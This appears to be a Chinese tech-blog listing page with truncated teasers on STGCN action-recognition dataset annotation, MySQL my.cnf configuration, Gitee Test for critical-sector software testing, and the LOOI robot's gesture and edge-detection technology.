前言&#xff1a; 最近在做行为检测相关的模型&#xff0c;用的是时空图卷积网络&#xff08;STGCN&#xff09;&#xff0c;但原有kinetic-400数据集数据质量较低&#xff0c;需要进行细粒度的标注&#xff0c;同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

MySQL 知识小结(一)

一、my.cnf配置详解 我们知道安装MySQL有两种方式来安装咱们的MySQL数据库&#xff0c;分别是二进制安装编译数据库或者使用三方yum来进行安装,第三方yum的安装相对于二进制压缩包的安装更快捷&#xff0c;但是文件存放起来数据比较冗余&#xff0c;用二进制能够更好管理咱们M…...

从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障

关键领域软件测试的"安全密码"&#xff1a;Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力&#xff0c;从金融交易到交通管控&#xff0c;这些关乎国计民生的关键领域…...

LOOI机器人的技术实现解析:从手势识别到边缘检测

LOOI机器人作为一款创新的AI硬件产品&#xff0c;通过将智能手机转变为具有情感交互能力的桌面机器人&#xff0c;展示了前沿AI技术与传统硬件设计的完美结合。作为AI与玩具领域的专家&#xff0c;我将全面解析LOOI的技术实现架构&#xff0c;特别是其手势识别、物体识别和环境…...